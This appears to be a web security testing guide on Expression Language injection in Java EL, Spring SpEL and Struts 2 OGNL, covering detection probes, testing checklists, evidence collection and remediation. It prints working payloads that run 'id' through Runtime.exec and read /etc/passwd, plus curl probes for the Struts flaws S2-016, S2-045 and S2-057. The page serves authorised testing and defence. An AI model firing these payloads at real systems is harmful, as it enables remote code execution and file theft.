Expression Language Injection
Expression Language injection is the Java-family slice of server-side template injection: user input reaches an evaluator that treats it as code. This page covers Java Unified EL, Spring SpEL and Struts OGNL. For Jinja2, Twig, Freemarker and the other template engines, use the SSTI detection guide — the detection method is the same, the payloads are not.
Danger
Frameworks: WSTG-INPV-11, WSTG-INPV-18 · ASVS 5.0 V1.3.2 (also V1.3.7) · CWE-917 · T1190
Three Evaluators, Three Syntaxes
Three Java-family evaluators look alike from outside and are not interchangeable. Java Unified EL
(JSP, JSF, Jakarta EL) evaluates ${…} immediately, while JSF's
#{…} is the same language in deferred form, resolved at render time.
Spring's SpEL uses #{…} — but ${…} inside
@Value is placeholder resolution by a different resolver, which is why one syntax works
where the other is inert. OGNL is Struts 2's language, written %{…} in tag
attributes and #{…} for context references.
Impact depends on the context object, not the syntax. SpEL evaluated with
StandardEvaluationContext can call type references and constructors; with
SimpleEvaluationContext it cannot, and arithmetic is all you get. That is the difference
between returning 49 and running a command, so establish which context is in play before rating the
finding.
Detection Payloads
Send arithmetic, then a string operation. A bare 49 can be a coincidence — reflected input, or a
template that already contained the number. ${7*8} returning 56 is
stronger, and ${'a'+'b'} returning ab proves evaluation
rather than a numeric echo. Test the same probes in headers, filename fields and error pages: the
sink is often not the field you first suspect.
# Arithmetic and string probes per evaluator
# Java EL (JSP / JSF immediate) and SpEL use the same shape:
${7*7} → 49
${7*8} → 56 (rules out a literal 49)
${'a'+'b'} → ab (proves evaluation, not echo)
# JSF deferred EL resolves the same expression at render time:
#{7*7} → 49
# OGNL in a Struts 2 tag attribute:
%{7*7} → 49
# Test in: URL parameters, POST fields, headers (User-Agent, Referer),
# email templates, PDF generation inputs, and any reflected error message.Java Unified EL
Java EL reaches user input through JSP attribute values, JSF component bindings, and any code
calling ELProcessor.eval() or ExpressionFactory.createValueExpression().
EL 2.2 added method invocation, so ${''.getClass()} is a valid expression
and a class-loader chain is reachable; EL 3.0 added static field and method access through
ELManager.importClass. Even without class access,
${pageContext} and ${systemProperties} expose
the environment.
# Confirm evaluation
${7*7} → 49
# Environment disclosure without class access
${systemProperties['os.name']}
${systemProperties['user.dir']}
${pageContext.request.serverName}
# EL 2.2 method invocation (container-dependent)
${''.getClass().forName('java.lang.Runtime')}
# Read a file through the class API
${''.getClass().forName('java.nio.file.Files').readAllLines(
''.getClass().forName('java.nio.file.Paths').get('/etc/passwd'))}
# EL 3.0 static access only works if the container imported the class
# (ELManager.importClass) - otherwise the same payload fails to resolve.
# EL itself has no T() type operator; that syntax is SpEL (next section).Spring SpEL
T(java.lang.Runtime).getRuntime().exec('id') is SpEL, not Java EL. The T()
type operator does not exist in Unified EL, and attributing it to EL is the most common error in
write-ups. SpEL reaches user input through @Value with #{},
through SpelExpressionParser.parseExpression() on request data, and through Thymeleaf's
__${…}__ preprocessing. The precondition is
StandardEvaluationContext: SimpleEvaluationContext blocks type references
and constructors, and is the fix Spring documents.
# SpEL confirms with the same arithmetic probe
#{7*7} → 49
# Type references require StandardEvaluationContext
#{T(java.lang.Runtime).getRuntime().exec('id')}
# Read a file
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}
# Capture command output rather than firing blind
#{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
# Thymeleaf preprocessing reaches SpEL through the template text
__${T(java.lang.Runtime).getRuntime().exec('id')}__OGNL (Struts 2)
OGNL is the Struts 2 surface, and it earns its own section because the entry points are
framework-specific rather than application-specific. %{…} forces evaluation in
a tag attribute, and # reaches the OGNL context, which holds the request, the session and
the value stack. Static calls use @class@method(…); from Struts 2.3.20 the default
SecurityMemberAccess blocks them, so later payloads attack #_memberAccess
instead, and which variant works is version-specific. Historic entry points: the
Content-Type header (S2-045, CVE-2017-5638), a redirect: or
action: parameter prefix (S2-016), and the URL namespace when
alwaysSelectFullNamespace is on (S2-057). All three are patched in current releases —
finding one means an unpatched Struts.
# Arithmetic probe in a Struts tag attribute (safe, no side effects)
%{7*7} → 49
# Context reference: the OGNL context exposes the request object
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletRequest']}
# Static method syntax — blocked by SecurityMemberAccess since Struts 2.3.20
%{@java.lang.Runtime@getRuntime().exec('id')}
# S2-016: the redirect:/action: parameter prefix evaluates the value
curl -s 'https://target.com/login.action?redirect:%24%7B7*7%7D'
# S2-045: Content-Type is parsed as OGNL before the action runs.
# A 500 carrying an OGNL stack trace means the header reached the evaluator;
# a 400 "Unsupported Media Type" means it did not.
curl -s -o /dev/null -w '%{http_code}\n' https://target.com/upload.action \
-H 'Content-Type: %{7*7}'
# S2-057: namespace evaluation when alwaysSelectFullNamespace is enabled
curl -s 'https://target.com/%24%7B7*7%7D/actionChain1.action'Confirming Evaluation
Confirm the evaluator before the impact: a 49 from one syntax and an error from another tells you which engine is parsing. Then escalate one step — class access, then a command — and stop at the first step that fails, because that is the finding's real severity. A context that permits arithmetic but blocks type references is a hardened deployment, not an RCE.
Testing Checklist
- ☐ 1. Identify the evaluator — Spring, Tomcat/JSP or Struts 2 version, plus the error text from a failed probe
- ☐ 2. Test arithmetic payloads in all input fields:
${7*7},#{7*7},%{7*7} - ☐ 3. Check if the evaluated result appears in the response (49)
- ☐ 4. Test in non-obvious injection points: email templates, PDF generation, error pages
- ☐ 5. Escalate to information disclosure (config, env vars)
- ☐ 6. Escalate to RCE with engine-specific payloads
- ☐ 7. Do not reach for tplmap here — it covers template engines, not Unified EL, SpEL or OGNL; the SSTI guide's automation section handles that case
- ☐ 8. Identify the evaluator from the syntax that resolves:
${7*7}(EL),#{7*7}(SpEL or deferred EL),%{7*7}(OGNL) - ☐ 9. Determine the evaluation context — SpEL with
SimpleEvaluationContextblocks type references, OGNL withSecurityMemberAccessblocks statics
Evidence Collection
Detection:
Request with ${7*7} or #{7*7} and response showing 49
Evaluator: Which syntax resolved, and the error text from the syntaxes that did not — this identifies the engine
Context Type: Whether type references or constructors were reachable, e.g. SpEL StandardEvaluationContext versus SimpleEvaluationContext
Info Disclosure: Extracted configuration, paths, or environment variables
RCE Proof: Output of 'id' or 'hostname' command via template injection
CVSS Range: Info disclosure: 5.3–7.5 | RCE: 9.1–10.0
Remediation
- • Never pass user input to template evaluation: Treat templates as code, not data.
- • Whitelist allowed template functions: Restrict which methods and properties can be accessed in expressions.
- • Use a restricted context: Evaluate SpEL with
SimpleEvaluationContext, neverStandardEvaluationContext, and keep OGNL'sSecurityMemberAccessdefaults instead of clearing excluded classes. - • Bound the expression: Validate user input against an allowlist of expected values before it reaches an evaluator — expression languages have no safe subset for arbitrary text.
False Positive Identification
- Math evaluation ≠ RCE: ${7*7} returning 49 confirms EL evaluation, but the security impact depends on whether dangerous classes (Runtime, ProcessBuilder) are accessible — always attempt command execution before rating severity.
- Template literal vs. EL: JavaScript template literals (backtick syntax) use ${} too — distinguish between client-side JS evaluation and server-side EL injection.
- Sandboxed EL context: Some frameworks restrict EL evaluation to a safe subset — test for class access and method invocation, not just arithmetic.
- T() attributed to Java EL: The type operator only exists in SpEL. If the payload used T() and resolved, the parser is SpEL (or Thymeleaf preprocessing) — not Unified EL.
- Reflected 49: A response containing 49 may simply be your own input echoed back. Re-test with a second expression whose result is not in the request, or with a string concatenation.